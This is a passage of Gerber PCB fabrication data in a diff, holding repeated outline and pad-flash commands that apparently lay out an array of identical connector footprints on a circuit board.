+X0048440Y0097540D02*
+X0048440Y0090460D01*
+X0046090Y0090460D02*
+X0046090Y0097540D01*
+X0043740Y0097540D02*
+X0043740Y0090460D01*
+X0042510Y0107460D02*
+X0055490Y0107460D01*
+X0042510Y0107460D02*
+X0042510Y0114540D01*
+X0055490Y0114540D01*
+X0055490Y0107460D01*
+X0053140Y0107460D02*
+X0053140Y0114540D01*
+X0050790Y0114540D02*
+X0050790Y0107460D01*
+X0048440Y0107460D02*
+X0048440Y0114540D01*
+X0046090Y0114540D02*
+X0046090Y0107460D01*
+X0043740Y0107460D02*
+X0043740Y0114540D01*
+D17*
+X0055000Y0091000D03*
+X0051000Y0091000D03*
+X0047000Y0091000D03*
+X0043000Y0091000D03*
+X0043000Y0096500D03*
+X0055000Y0096500D03*
+X0055000Y0108500D03*
+X0055000Y0114000D03*
+X0051000Y0114000D03*
+X0047000Y0114000D03*
+X0043000Y0114000D03*
+X0043000Y0108500D03*
+X0087000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0081490Y0134540D02*
+X0068510Y0134540D01*
+X0081490Y0134540D02*
+X0081490Y0127460D01*
+X0068510Y0127460D01*
+X0068510Y0134540D01*
+X0079140Y0134540D02*
+X0079140Y0127460D01*
+X0076790Y0127460D02*
+X0076790Y0134540D01*
+X0074440Y0134540D02*
+X0074440Y0127460D01*
+X0072090Y0127460D02*
+X0072090Y0134540D01*
+X0069740Y0134540D02*
+X0069740Y0127460D01*
+X0068510Y0144460D02*
+X0081490Y0144460D01*
+X0068510Y0144460D02*
+X0068510Y0151540D01*
+X0081490Y0151540D01*
+X0081490Y0144460D01*
+X0079140Y0144460D02*
+X0079140Y0151540D01*
+X0076790Y0151540D02*
+X0076790Y0144460D01*
+X0074440Y0144460D02*
+X0074440Y0151540D01*
+X0072090Y0151540D02*
+X0072090Y0144460D01*
+X0069740Y0144460D02*
+X0069740Y0151540D01*
+D17*
+X0081000Y0128000D03*
+X0077000Y0128000D03*
+X0073000Y0128000D03*
+X0069000Y0128000D03*
+X0069000Y0133500D03*
+X0081000Y0133500D03*
+X0081000Y0145500D03*
+X0081000Y0151000D03*
+X0077000Y0151000D03*
+X0073000Y0151000D03*
+X0069000Y0151000D03*
+X0069000Y0145500D03*
+X0061000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0055490Y0134540D02*
+X0042510Y0134540D01*
+X0055490Y0134540D02*
+X0055490Y0127460D01*
+X0042510Y0127460D01*
+X0042510Y0134540D01*
+X0053140Y0134540D02*
+X0053140Y0127460D01*
+X0050790Y0127460D02*
+X0050790Y0134540D01*
+X0048440Y0134540D02*
+X0048440Y0127460D01*
+X0046090Y0127460D02*
+X0046090Y0134540D01*
+X0043740Y0134540D02*
+X0043740Y0127460D01*
+X0042510Y0144460D02*
+X0055490Y0144460D01*
+X0042510Y0144460D02*
+X0042510Y0151540D01*
+X0055490Y0151540D01*
+X0055490Y0144460D01*
+X0053140Y0144460D02*
+X0053140Y0151540D01*
+X0050790Y0151540D02*
+X0050790Y0144460D01*
+X0048440Y0144460D02*
+X0048440Y0151540D01*
+X0046090Y0151540D02*
+X0046090Y0144460D01*
+X0043740Y0144460D02*
+X0043740Y0151540D01*
+D17*
+X0055000Y0128000D03*
+X0051000Y0128000D03*
+X0047000Y0128000D03*
+X0043000Y0128000D03*
+X0043000Y0133500D03*
+X0055000Y0133500D03*
+X0055000Y0145500D03*
+X0055000Y0151000D03*
+X0051000Y0151000D03*
+X0047000Y0151000D03*
+X0043000Y0151000D03*
+X0043000Y0145500D03*
+X0035000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0097540D02*
+X0016510Y0097540D01*
+X0029490Y0097540D02*
+X0029490Y0090460D01*
+X0016510Y0090460D01*
+X0016510Y0097540D01*
+X0027140Y0097540D02*
+X0027140Y0090460D01*
+X0024790Y0090460D02*
+X0024790Y0097540D01*
+X0022440Y0097540D02*
+X0022440Y0090460D01*
+X0020090Y0090460D02*
+X0020090Y0097540D01*
+X0017740Y0097540D02*
+X0017740Y0090460D01*
+X0016510Y0107460D02*
+X0029490Y0107460D01*
+X0016510Y0107460D02*
+X0016510Y0114540D01*
+X0029490Y0114540D01*
+X0029490Y0107460D01*
+X0027140Y0107460D02*
+X0027140Y0114540D01*
+X0024790Y0114540D02*
+X0024790Y0107460D01*
+X0022440Y0107460D02*
+X0022440Y0114540D01*
+X0020090Y0114540D02*
+X0020090Y0107460D01*
+X0017740Y0107460D02*
+X0017740Y0114540D01*
+D17*
+X0029000Y0091000D03*
+X0025000Y0091000D03*
+X0021000Y0091000D03*
+X0017000Y0091000D03*
+X0017000Y0096500D03*
+X0029000Y0096500D03*
+X0029000Y0108500D03*
+X0029000Y0114000D03*
+X0025000Y0114000D03*
+X0021000Y0114000D03*
+X0017000Y0114000D03*
+X0017000Y0108500D03*
+X0035000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0029490Y0134540D02*
+X0016510Y0134540D01*
+X0029490Y0134540D02*
+X0029490Y0127460D01*
+X0016510Y0127460D01*
+X0016510Y0134540D01*
+X0027140Y0134540D02*
+X0027140Y0127460D01*
+X0024790Y0127460D02*
+X0024790Y0134540D01*
+X0022440Y0134540D02*
+X0022440Y0127460D01*
+X0020090Y0127460D02*
+X0020090Y0134540D01*
+X0017740Y0134540D02*
+X0017740Y0127460D01*
+X0016510Y0144460D02*
+X0029490Y0144460D01*
+X0016510Y0144460D02*
+X0016510Y0151540D01*
+X0029490Y0151540D01*
+X0029490Y0144460D01*
+X0027140Y0144460D02*
+X0027140Y0151540D01*
+X0024790Y0151540D02*
+X0024790Y0144460D01*
+X0022440Y0144460D02*
+X0022440Y0151540D01*
+X0020090Y0151540D02*
+X0020090Y0144460D01*
+X0017740Y0144460D02*
+X0017740Y0151540D01*
+D17*
+X0029000Y0128000D03*
+X0025000Y0128000D03*
+X0021000Y0128000D03*
+X0017000Y0128000D03*
+X0017000Y0133500D03*
+X0029000Y0133500D03*
+X0029000Y0145500D03*
+X0029000Y0151000D03*
+X0025000Y0151000D03*
+X0021000Y0151000D03*
+X0017000Y0151000D03*
+X0017000Y0145500D03*
+X0141000Y0011000D02*
+G75*
+%LPD*%
+X0269000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0023540D02*
+X0250510Y0023540D01*
+X0263490Y0023540D02*
+X0263490Y0016460D01*
+X0250510Y0016460D01*
+X0250510Y0023540D01*
+X0261140Y0023540D02*
+X0261140Y0016460D01*
+X0258790Y0016460D02*
+X0258790Y0023540D01*
+X0256440Y0023540D02*
+X0256440Y0016460D01*
+X0254090Y0016460D02*
+X0254090Y0023540D01*
+X0251740Y0023540D02*
+X0251740Y0016460D01*
+X0250510Y0033460D02*
+X0263490Y0033460D01*
+X0250510Y0033460D02*
+X0250510Y0040540D01*
+X0263490Y0040540D01*
+X0263490Y0033460D01*
+X0261140Y0033460D02*
+X0261140Y0040540D01*
+X0258790Y0040540D02*
+X0258790Y0033460D01*
+X0256440Y0033460D02*
+X0256440Y0040540D01*
+X0254090Y0040540D02*
+X0254090Y0033460D01*
+X0251740Y0033460D02*
+X0251740Y0040540D01*
+D17*
+X0263000Y0017000D03*
+X0259000Y0017000D03*
+X0255000Y0017000D03*
+X0251000Y0017000D03*
+X0251000Y0022500D03*
+X0263000Y0022500D03*
+X0263000Y0034500D03*
+X0263000Y0040000D03*
+X0259000Y0040000D03*
+X0255000Y0040000D03*
+X0251000Y0040000D03*
+X0251000Y0034500D03*
+X0243000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0023540D02*
+X0224510Y0023540D01*
+X0237490Y0023540D02*
+X0237490Y0016460D01*
+X0224510Y0016460D01*
+X0224510Y0023540D01*
+X0235140Y0023540D02*
+X0235140Y0016460D01*
+X0232790Y0016460D02*
+X0232790Y0023540D01*
+X0230440Y0023540D02*
+X0230440Y0016460D01*
+X0228090Y0016460D02*
+X0228090Y0023540D01*
+X0225740Y0023540D02*
+X0225740Y0016460D01*
+X0224510Y0033460D02*
+X0237490Y0033460D01*
+X0224510Y0033460D02*
+X0224510Y0040540D01*
+X0237490Y0040540D01*
+X0237490Y0033460D01*
+X0235140Y0033460D02*
+X0235140Y0040540D01*
+X0232790Y0040540D02*
+X0232790Y0033460D01*
+X0230440Y0033460D02*
+X0230440Y0040540D01*
+X0228090Y0040540D02*
+X0228090Y0033460D01*
+X0225740Y0033460D02*
+X0225740Y0040540D01*
+D17*
+X0237000Y0017000D03*
+X0233000Y0017000D03*
+X0229000Y0017000D03*
+X0225000Y0017000D03*
+X0225000Y0022500D03*
+X0237000Y0022500D03*
+X0237000Y0034500D03*
+X0237000Y0040000D03*
+X0233000Y0040000D03*
+X0229000Y0040000D03*
+X0225000Y0040000D03*
+X0225000Y0034500D03*
+X0269000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0060540D02*
+X0250510Y0060540D01*
+X0263490Y0060540D02*
+X0263490Y0053460D01*
+X0250510Y0053460D01*
+X0250510Y0060540D01*
+X0261140Y0060540D02*
+X0261140Y0053460D01*
+X0258790Y0053460D02*
+X0258790Y0060540D01*
+X0256440Y0060540D02*
+X0256440Y0053460D01*
+X0254090Y0053460D02*
+X0254090Y0060540D01*
+X0251740Y0060540D02*
+X0251740Y0053460D01*
+X0250510Y0070460D02*
+X0263490Y0070460D01*
+X0250510Y0070460D02*
+X0250510Y0077540D01*
+X0263490Y0077540D01*
+X0263490Y0070460D01*
+X0261140Y0070460D02*
+X0261140Y0077540D01*
+X0258790Y0077540D02*
+X0258790Y0070460D01*
+X0256440Y0070460D02*
+X0256440Y0077540D01*
+X0254090Y0077540D02*
+X0254090Y0070460D01*
+X0251740Y0070460D02*
+X0251740Y0077540D01*
+D17*
+X0263000Y0054000D03*
+X0259000Y0054000D03*
+X0255000Y0054000D03*
+X0251000Y0054000D03*
+X0251000Y0059500D03*
+X0263000Y0059500D03*
+X0263000Y0071500D03*
+X0263000Y0077000D03*
+X0259000Y0077000D03*
+X0255000Y0077000D03*
+X0251000Y0077000D03*
+X0251000Y0071500D03*
+X0217000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0023540D02*
+X0198510Y0023540D01*
+X0211490Y0023540D02*
+X0211490Y0016460D01*
+X0198510Y0016460D01*
+X0198510Y0023540D01*
+X0209140Y0023540D02*
+X0209140Y0016460D01*
+X0206790Y0016460D02*
+X0206790Y0023540D01*
+X0204440Y0023540D02*
+X0204440Y0016460D01*
+X0202090Y0016460D02*
+X0202090Y0023540D01*
+X0199740Y0023540D02*
+X0199740Y0016460D01*
+X0198510Y0033460D02*
+X0211490Y0033460D01*
+X0198510Y0033460D02*
+X0198510Y0040540D01*
+X0211490Y0040540D01*
+X0211490Y0033460D01*
+X0209140Y0033460D02*
+X0209140Y0040540D01*
+X0206790Y0040540D02*
+X0206790Y0033460D01*
+X0204440Y0033460D02*
+X0204440Y0040540D01*
+X0202090Y0040540D02*
+X0202090Y0033460D01*
+X0199740Y0033460D02*
+X0199740Y0040540D01*
+D17*
+X0211000Y0017000D03*
+X0207000Y0017000D03*
+X0203000Y0017000D03*
+X0199000Y0017000D03*
+X0199000Y0022500D03*
+X0211000Y0022500D03*
+X0211000Y0034500D03*
+X0211000Y0040000D03*
+X0207000Y0040000D03*
+X0203000Y0040000D03*
+X0199000Y0040000D03*
+X0199000Y0034500D03*
+X0243000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0060540D02*
+X0224510Y0060540D01*
+X0237490Y0060540D02*
+X0237490Y0053460D01*
+X0224510Y0053460D01*
+X0224510Y0060540D01*
+X0235140Y0060540D02*
+X0235140Y0053460D01*
+X0232790Y0053460D02*
+X0232790Y0060540D01*
+X0230440Y0060540D02*
+X0230440Y0053460D01*
+X0228090Y0053460D02*
+X0228090Y0060540D01*
+X0225740Y0060540D02*
+X0225740Y0053460D01*
+X0224510Y0070460D02*
+X0237490Y0070460D01*
+X0224510Y0070460D02*
+X0224510Y0077540D01*
+X0237490Y0077540D01*
+X0237490Y0070460D01*
+X0235140Y0070460D02*
+X0235140Y0077540D01*
+X0232790Y0077540D02*
+X0232790Y0070460D01*
+X0230440Y0070460D02*
+X0230440Y0077540D01*
+X0228090Y0077540D02*
+X0228090Y0070460D01*
+X0225740Y0070460D02*
+X0225740Y0077540D01*
+D17*
+X0237000Y0054000D03*
+X0233000Y0054000D03*
+X0229000Y0054000D03*
+X0225000Y0054000D03*
+X0225000Y0059500D03*
+X0237000Y0059500D03*
+X0237000Y0071500D03*
+X0237000Y0077000D03*
+X0233000Y0077000D03*
+X0229000Y0077000D03*
+X0225000Y0077000D03*
+X0225000Y0071500D03*
+X0191000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0023540D02*
+X0172510Y0023540D01*
+X0185490Y0023540D02*
+X0185490Y0016460D01*
+X0172510Y0016460D01*
+X0172510Y0023540D01*
+X0183140Y0023540D02*
+X0183140Y0016460D01*
+X0180790Y0016460D02*
+X0180790Y0023540D01*
+X0178440Y0023540D02*
+X0178440Y0016460D01*
+X0176090Y0016460D02*
+X0176090Y0023540D01*
+X0173740Y0023540D02*
+X0173740Y0016460D01*
+X0172510Y0033460D02*
+X0185490Y0033460D01*
+X0172510Y0033460D02*
+X0172510Y0040540D01*
+X0185490Y0040540D01*
+X0185490Y0033460D01*
+X0183140Y0033460D02*
+X0183140Y0040540D01*
+X0180790Y0040540D02*
+X0180790Y0033460D01*
+X0178440Y0033460D02*
+X0178440Y0040540D01*
+X0176090Y0040540D02*
+X0176090Y0033460D01*
+X0173740Y0033460D02*
+X0173740Y0040540D01*
+D17*
+X0185000Y0017000D03*
+X0181000Y0017000D03*
+X0177000Y0017000D03*
+X0173000Y0017000D03*
+X0173000Y0022500D03*
+X0185000Y0022500D03*
+X0185000Y0034500D03*
+X0185000Y0040000D03*
+X0181000Y0040000D03*
+X0177000Y0040000D03*
+X0173000Y0040000D03*
+X0173000Y0034500D03*
+X0217000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0060540D02*
+X0198510Y0060540D01*
+X0211490Y0060540D02*
+X0211490Y0053460D01*
+X0198510Y0053460D01*
+X0198510Y0060540D01*
+X0209140Y0060540D02*
+X0209140Y0053460D01*
+X0206790Y0053460D02*
+X0206790Y0060540D01*
+X0204440Y0060540D02*
+X0204440Y0053460D01*
+X0202090Y0053460D02*
+X0202090Y0060540D01*
+X0199740Y0060540D02*
+X0199740Y0053460D01*
+X0198510Y0070460D02*
+X0211490Y0070460D01*
+X0198510Y0070460D02*
+X0198510Y0077540D01*
+X0211490Y0077540D01*
+X0211490Y0070460D01*
+X0209140Y0070460D02*
+X0209140Y0077540D01*
+X0206790Y0077540D02*
+X0206790Y0070460D01*
+X0204440Y0070460D02*
+X0204440Y0077540D01*
+X0202090Y0077540D02*
+X0202090Y0070460D01*
+X0199740Y0070460D02*
+X0199740Y0077540D01*
+D17*
+X0211000Y0054000D03*
+X0207000Y0054000D03*
+X0203000Y0054000D03*
+X0199000Y0054000D03*
+X0199000Y0059500D03*
+X0211000Y0059500D03*
+X0211000Y0071500D03*
+X0211000Y0077000D03*
+X0207000Y0077000D03*
+X0203000Y0077000D03*
+X0199000Y0077000D03*
+X0199000Y0071500D03*
+X0191000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0060540D02*
+X0172510Y0060540D01*
+X0185490Y0060540D02*
+X0185490Y0053460D01*
+X0172510Y0053460D01*
+X0172510Y0060540D01*
+X0183140Y0060540D02*
+X0183140Y0053460D01*
+X0180790Y0053460D02*
+X0180790Y0060540D01*
+X0178440Y0060540D02*
+X0178440Y0053460D01*
+X0176090Y0053460D02*
+X0176090Y0060540D01*
+X0173740Y0060540D02*
+X0173740Y0053460D01*
+X0172510Y0070460D02*
+X0185490Y0070460D01*
+X0172510Y0070460D02*
+X0172510Y0077540D01*
+X0185490Y0077540D01*
+X0185490Y0070460D01*
+X0183140Y0070460D02*
+X0183140Y0077540D01*
+X0180790Y0077540D02*
+X0180790Y0070460D01*
+X0178440Y0070460D02*
+X0178440Y0077540D01*
+X0176090Y0077540D02*
+X0176090Y0070460D01*
+X0173740Y0070460D02*
+X0173740Y0077540D01*
+D17*
+X0185000Y0054000D03*
+X0181000Y0054000D03*
+X0177000Y0054000D03*
+X0173000Y0054000D03*
+X0173000Y0059500D03*
+X0185000Y0059500D03*
+X0185000Y0071500D03*
+X0185000Y0077000D03*
+X0181000Y0077000D03*
+X0177000Y0077000D03*
+X0173000Y0077000D03*
+X0173000Y0071500D03*
+X0165000Y0011000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0023540D02*
+X0146510Y0023540D01*
+X0159490Y0023540D02*
+X0159490Y0016460D01*
+X0146510Y0016460D01*
+X0146510Y0023540D01*
+X0157140Y0023540D02*
+X0157140Y0016460D01*
+X0154790Y0016460D02*
+X0154790Y0023540D01*
+X0152440Y0023540D02*
+X0152440Y0016460D01*
+X0150090Y0016460D02*
+X0150090Y0023540D01*
+X0147740Y0023540D02*
+X0147740Y0016460D01*
+X0146510Y0033460D02*
+X0159490Y0033460D01*
+X0146510Y0033460D02*
+X0146510Y0040540D01*
+X0159490Y0040540D01*
+X0159490Y0033460D01*
+X0157140Y0033460D02*
+X0157140Y0040540D01*
+X0154790Y0040540D02*
+X0154790Y0033460D01*
+X0152440Y0033460D02*
+X0152440Y0040540D01*
+X0150090Y0040540D02*
+X0150090Y0033460D01*
+X0147740Y0033460D02*
+X0147740Y0040540D01*
+D17*
+X0159000Y0017000D03*
+X0155000Y0017000D03*
+X0151000Y0017000D03*
+X0147000Y0017000D03*
+X0147000Y0022500D03*
+X0159000Y0022500D03*
+X0159000Y0034500D03*
+X0159000Y0040000D03*
+X0155000Y0040000D03*
+X0151000Y0040000D03*
+X0147000Y0040000D03*
+X0147000Y0034500D03*
+X0165000Y0048000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0060540D02*
+X0146510Y0060540D01*
+X0159490Y0060540D02*
+X0159490Y0053460D01*
+X0146510Y0053460D01*
+X0146510Y0060540D01*
+X0157140Y0060540D02*
+X0157140Y0053460D01*
+X0154790Y0053460D02*
+X0154790Y0060540D01*
+X0152440Y0060540D02*
+X0152440Y0053460D01*
+X0150090Y0053460D02*
+X0150090Y0060540D01*
+X0147740Y0060540D02*
+X0147740Y0053460D01*
+X0146510Y0070460D02*
+X0159490Y0070460D01*
+X0146510Y0070460D02*
+X0146510Y0077540D01*
+X0159490Y0077540D01*
+X0159490Y0070460D01*
+X0157140Y0070460D02*
+X0157140Y0077540D01*
+X0154790Y0077540D02*
+X0154790Y0070460D01*
+X0152440Y0070460D02*
+X0152440Y0077540D01*
+X0150090Y0077540D02*
+X0150090Y0070460D01*
+X0147740Y0070460D02*
+X0147740Y0077540D01*
+D17*
+X0159000Y0054000D03*
+X0155000Y0054000D03*
+X0151000Y0054000D03*
+X0147000Y0054000D03*
+X0147000Y0059500D03*
+X0159000Y0059500D03*
+X0159000Y0071500D03*
+X0159000Y0077000D03*
+X0155000Y0077000D03*
+X0151000Y0077000D03*
+X0147000Y0077000D03*
+X0147000Y0071500D03*
+X0141000Y0085000D02*
+G75*
+%LPD*%
+X0269000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0097540D02*
+X0250510Y0097540D01*
+X0263490Y0097540D02*
+X0263490Y0090460D01*
+X0250510Y0090460D01*
+X0250510Y0097540D01*
+X0261140Y0097540D02*
+X0261140Y0090460D01*
+X0258790Y0090460D02*
+X0258790Y0097540D01*
+X0256440Y0097540D02*
+X0256440Y0090460D01*
+X0254090Y0090460D02*
+X0254090Y0097540D01*
+X0251740Y0097540D02*
+X0251740Y0090460D01*
+X0250510Y0107460D02*
+X0263490Y0107460D01*
+X0250510Y0107460D02*
+X0250510Y0114540D01*
+X0263490Y0114540D01*
+X0263490Y0107460D01*
+X0261140Y0107460D02*
+X0261140Y0114540D01*
+X0258790Y0114540D02*
+X0258790Y0107460D01*
+X0256440Y0107460D02*
+X0256440Y0114540D01*
+X0254090Y0114540D02*
+X0254090Y0107460D01*
+X0251740Y0107460D02*
+X0251740Y0114540D01*
+D17*
+X0263000Y0091000D03*
+X0259000Y0091000D03*
+X0255000Y0091000D03*
+X0251000Y0091000D03*
+X0251000Y0096500D03*
+X0263000Y0096500D03*
+X0263000Y0108500D03*
+X0263000Y0114000D03*
+X0259000Y0114000D03*
+X0255000Y0114000D03*
+X0251000Y0114000D03*
+X0251000Y0108500D03*
+X0243000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0097540D02*
+X0224510Y0097540D01*
+X0237490Y0097540D02*
+X0237490Y0090460D01*
+X0224510Y0090460D01*
+X0224510Y0097540D01*
+X0235140Y0097540D02*
+X0235140Y0090460D01*
+X0232790Y0090460D02*
+X0232790Y0097540D01*
+X0230440Y0097540D02*
+X0230440Y0090460D01*
+X0228090Y0090460D02*
+X0228090Y0097540D01*
+X0225740Y0097540D02*
+X0225740Y0090460D01*
+X0224510Y0107460D02*
+X0237490Y0107460D01*
+X0224510Y0107460D02*
+X0224510Y0114540D01*
+X0237490Y0114540D01*
+X0237490Y0107460D01*
+X0235140Y0107460D02*
+X0235140Y0114540D01*
+X0232790Y0114540D02*
+X0232790Y0107460D01*
+X0230440Y0107460D02*
+X0230440Y0114540D01*
+X0228090Y0114540D02*
+X0228090Y0107460D01*
+X0225740Y0107460D02*
+X0225740Y0114540D01*
+D17*
+X0237000Y0091000D03*
+X0233000Y0091000D03*
+X0229000Y0091000D03*
+X0225000Y0091000D03*
+X0225000Y0096500D03*
+X0237000Y0096500D03*
+X0237000Y0108500D03*
+X0237000Y0114000D03*
+X0233000Y0114000D03*
+X0229000Y0114000D03*
+X0225000Y0114000D03*
+X0225000Y0108500D03*
+X0269000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0263490Y0134540D02*
+X0250510Y0134540D01*
+X0263490Y0134540D02*
+X0263490Y0127460D01*
+X0250510Y0127460D01*
+X0250510Y0134540D01*
+X0261140Y0134540D02*
+X0261140Y0127460D01*
+X0258790Y0127460D02*
+X0258790Y0134540D01*
+X0256440Y0134540D02*
+X0256440Y0127460D01*
+X0254090Y0127460D02*
+X0254090Y0134540D01*
+X0251740Y0134540D02*
+X0251740Y0127460D01*
+X0250510Y0144460D02*
+X0263490Y0144460D01*
+X0250510Y0144460D02*
+X0250510Y0151540D01*
+X0263490Y0151540D01*
+X0263490Y0144460D01*
+X0261140Y0144460D02*
+X0261140Y0151540D01*
+X0258790Y0151540D02*
+X0258790Y0144460D01*
+X0256440Y0144460D02*
+X0256440Y0151540D01*
+X0254090Y0151540D02*
+X0254090Y0144460D01*
+X0251740Y0144460D02*
+X0251740Y0151540D01*
+D17*
+X0263000Y0128000D03*
+X0259000Y0128000D03*
+X0255000Y0128000D03*
+X0251000Y0128000D03*
+X0251000Y0133500D03*
+X0263000Y0133500D03*
+X0263000Y0145500D03*
+X0263000Y0151000D03*
+X0259000Y0151000D03*
+X0255000Y0151000D03*
+X0251000Y0151000D03*
+X0251000Y0145500D03*
+X0217000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0097540D02*
+X0198510Y0097540D01*
+X0211490Y0097540D02*
+X0211490Y0090460D01*
+X0198510Y0090460D01*
+X0198510Y0097540D01*
+X0209140Y0097540D02*
+X0209140Y0090460D01*
+X0206790Y0090460D02*
+X0206790Y0097540D01*
+X0204440Y0097540D02*
+X0204440Y0090460D01*
+X0202090Y0090460D02*
+X0202090Y0097540D01*
+X0199740Y0097540D02*
+X0199740Y0090460D01*
+X0198510Y0107460D02*
+X0211490Y0107460D01*
+X0198510Y0107460D02*
+X0198510Y0114540D01*
+X0211490Y0114540D01*
+X0211490Y0107460D01*
+X0209140Y0107460D02*
+X0209140Y0114540D01*
+X0206790Y0114540D02*
+X0206790Y0107460D01*
+X0204440Y0107460D02*
+X0204440Y0114540D01*
+X0202090Y0114540D02*
+X0202090Y0107460D01*
+X0199740Y0107460D02*
+X0199740Y0114540D01*
+D17*
+X0211000Y0091000D03*
+X0207000Y0091000D03*
+X0203000Y0091000D03*
+X0199000Y0091000D03*
+X0199000Y0096500D03*
+X0211000Y0096500D03*
+X0211000Y0108500D03*
+X0211000Y0114000D03*
+X0207000Y0114000D03*
+X0203000Y0114000D03*
+X0199000Y0114000D03*
+X0199000Y0108500D03*
+X0243000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0237490Y0134540D02*
+X0224510Y0134540D01*
+X0237490Y0134540D02*
+X0237490Y0127460D01*
+X0224510Y0127460D01*
+X0224510Y0134540D01*
+X0235140Y0134540D02*
+X0235140Y0127460D01*
+X0232790Y0127460D02*
+X0232790Y0134540D01*
+X0230440Y0134540D02*
+X0230440Y0127460D01*
+X0228090Y0127460D02*
+X0228090Y0134540D01*
+X0225740Y0134540D02*
+X0225740Y0127460D01*
+X0224510Y0144460D02*
+X0237490Y0144460D01*
+X0224510Y0144460D02*
+X0224510Y0151540D01*
+X0237490Y0151540D01*
+X0237490Y0144460D01*
+X0235140Y0144460D02*
+X0235140Y0151540D01*
+X0232790Y0151540D02*
+X0232790Y0144460D01*
+X0230440Y0144460D02*
+X0230440Y0151540D01*
+X0228090Y0151540D02*
+X0228090Y0144460D01*
+X0225740Y0144460D02*
+X0225740Y0151540D01*
+D17*
+X0237000Y0128000D03*
+X0233000Y0128000D03*
+X0229000Y0128000D03*
+X0225000Y0128000D03*
+X0225000Y0133500D03*
+X0237000Y0133500D03*
+X0237000Y0145500D03*
+X0237000Y0151000D03*
+X0233000Y0151000D03*
+X0229000Y0151000D03*
+X0225000Y0151000D03*
+X0225000Y0145500D03*
+X0191000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0097540D02*
+X0172510Y0097540D01*
+X0185490Y0097540D02*
+X0185490Y0090460D01*
+X0172510Y0090460D01*
+X0172510Y0097540D01*
+X0183140Y0097540D02*
+X0183140Y0090460D01*
+X0180790Y0090460D02*
+X0180790Y0097540D01*
+X0178440Y0097540D02*
+X0178440Y0090460D01*
+X0176090Y0090460D02*
+X0176090Y0097540D01*
+X0173740Y0097540D02*
+X0173740Y0090460D01*
+X0172510Y0107460D02*
+X0185490Y0107460D01*
+X0172510Y0107460D02*
+X0172510Y0114540D01*
+X0185490Y0114540D01*
+X0185490Y0107460D01*
+X0183140Y0107460D02*
+X0183140Y0114540D01*
+X0180790Y0114540D02*
+X0180790Y0107460D01*
+X0178440Y0107460D02*
+X0178440Y0114540D01*
+X0176090Y0114540D02*
+X0176090Y0107460D01*
+X0173740Y0107460D02*
+X0173740Y0114540D01*
+D17*
+X0185000Y0091000D03*
+X0181000Y0091000D03*
+X0177000Y0091000D03*
+X0173000Y0091000D03*
+X0173000Y0096500D03*
+X0185000Y0096500D03*
+X0185000Y0108500D03*
+X0185000Y0114000D03*
+X0181000Y0114000D03*
+X0177000Y0114000D03*
+X0173000Y0114000D03*
+X0173000Y0108500D03*
+X0217000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0211490Y0134540D02*
+X0198510Y0134540D01*
+X0211490Y0134540D02*
+X0211490Y0127460D01*
+X0198510Y0127460D01*
+X0198510Y0134540D01*
+X0209140Y0134540D02*
+X0209140Y0127460D01*
+X0206790Y0127460D02*
+X0206790Y0134540D01*
+X0204440Y0134540D02*
+X0204440Y0127460D01*
+X0202090Y0127460D02*
+X0202090Y0134540D01*
+X0199740Y0134540D02*
+X0199740Y0127460D01*
+X0198510Y0144460D02*
+X0211490Y0144460D01*
+X0198510Y0144460D02*
+X0198510Y0151540D01*
+X0211490Y0151540D01*
+X0211490Y0144460D01*
+X0209140Y0144460D02*
+X0209140Y0151540D01*
+X0206790Y0151540D02*
+X0206790Y0144460D01*
+X0204440Y0144460D02*
+X0204440Y0151540D01*
+X0202090Y0151540D02*
+X0202090Y0144460D01*
+X0199740Y0144460D02*
+X0199740Y0151540D01*
+D17*
+X0211000Y0128000D03*
+X0207000Y0128000D03*
+X0203000Y0128000D03*
+X0199000Y0128000D03*
+X0199000Y0133500D03*
+X0211000Y0133500D03*
+X0211000Y0145500D03*
+X0211000Y0151000D03*
+X0207000Y0151000D03*
+X0203000Y0151000D03*
+X0199000Y0151000D03*
+X0199000Y0145500D03*
+X0191000Y0122000D02*
+G75*
+%LPD*%
+D16*
+X0185490Y0134540D02*
+X0172510Y0134540D01*
+X0185490Y0134540D02*
+X0185490Y0127460D01*
+X0172510Y0127460D01*
+X0172510Y0134540D01*
+X0183140Y0134540D02*
+X0183140Y0127460D01*
+X0180790Y0127460D02*
+X0180790Y0134540D01*
+X0178440Y0134540D02*
+X0178440Y0127460D01*
+X0176090Y0127460D02*
+X0176090Y0134540D01*
+X0173740Y0134540D02*
+X0173740Y0127460D01*
+X0172510Y0144460D02*
+X0185490Y0144460D01*
+X0172510Y0144460D02*
+X0172510Y0151540D01*
+X0185490Y0151540D01*
+X0185490Y0144460D01*
+X0183140Y0144460D02*
+X0183140Y0151540D01*
+X0180790Y0151540D02*
+X0180790Y0144460D01*
+X0178440Y0144460D02*
+X0178440Y0151540D01*
+X0176090Y0151540D02*
+X0176090Y0144460D01*
+X0173740Y0144460D02*
+X0173740Y0151540D01*
+D17*
+X0185000Y0128000D03*
+X0181000Y0128000D03*
+X0177000Y0128000D03*
+X0173000Y0128000D03*
+X0173000Y0133500D03*
+X0185000Y0133500D03*
+X0185000Y0145500D03*
+X0185000Y0151000D03*
+X0181000Y0151000D03*
+X0177000Y0151000D03*
+X0173000Y0151000D03*
+X0173000Y0145500D03*
+X0165000Y0085000D02*
+G75*
+%LPD*%
+D16*
+X0159490Y0097540D02*
+X0146510Y0097540D01*
+X0159490Y0097540D02*
+X0159490Y0090460D01*
